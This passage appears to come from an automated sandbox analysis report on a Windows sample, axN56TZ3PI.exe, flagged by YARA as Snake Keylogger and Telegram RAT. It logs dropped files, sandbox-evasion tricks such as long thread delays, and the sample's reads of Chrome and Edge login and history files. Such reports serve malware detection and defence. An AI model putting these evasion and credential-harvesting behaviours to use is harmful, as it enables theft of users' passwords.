Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Wull157	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\samfundets.Afg	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\Brugtbaaden.mir	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\Draabning.Non	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\Dataopsamler.txt	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\Fiskefarsens89.vol	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\banaleres.ini	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\engagerede.hal	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\Konomimnstre	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\Konomimnstre\evoe.kra	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\Konomimnstre\provostry.txt	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\jutting\Transmaking\Konomimnstre\retrograde.ini	Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	API/Special instruction interceptor: Address: 590437B
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	API/Special instruction interceptor: Address: 45A437B

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Memory allocated: 7660000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Memory allocated: 38090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Memory allocated: 37EB0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsp8FE4.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

API coverage: 0.2 %

Source: C:\Users\user\Desktop\axN56TZ3PI.exe TID: 8296	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe TID: 8296	Thread sleep time: -600000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 0_2_0040264F FindFirstFileA,	0_2_0040264F
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 0_2_00405475 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405475
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 0_2_00405E9C FindFirstFileA,FindClose,	0_2_00405E9C
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_0040264F FindFirstFileA,	12_2_0040264F
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_00405475 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	12_2_00405475
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Code function: 12_2_00405E9C FindFirstFileA,FindClose,	12_2_00405E9C

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache	Jump to behavior

Source: axN56TZ3PI.exe, 0000000C.00000002.6005311017.0000000007A67000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	API call chain: ExitProcess graph end node			graph_0-3734
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	API call chain: ExitProcess graph end node			graph_0-3893

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Code function: 0_2_0040310B EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,LdrInitializeThunk,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_0040310B

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Code function: 0_2_00405EC3 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405EC3

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Process created: C:\Users\user\Desktop\axN56TZ3PI.exe "C:\Users\user\Desktop\axN56TZ3PI.exe"

Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Queries volume information: C:\Users\user\Desktop\axN56TZ3PI.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Code function: 0_2_00405BBA GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405BBA

Source: C:\Users\user\Desktop\axN56TZ3PI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000C.00000002.6015919161.0000000038091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0000000C.00000002.6015919161.00000000381D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: axN56TZ3PI.exe PID: 8888, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\axN56TZ3PI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
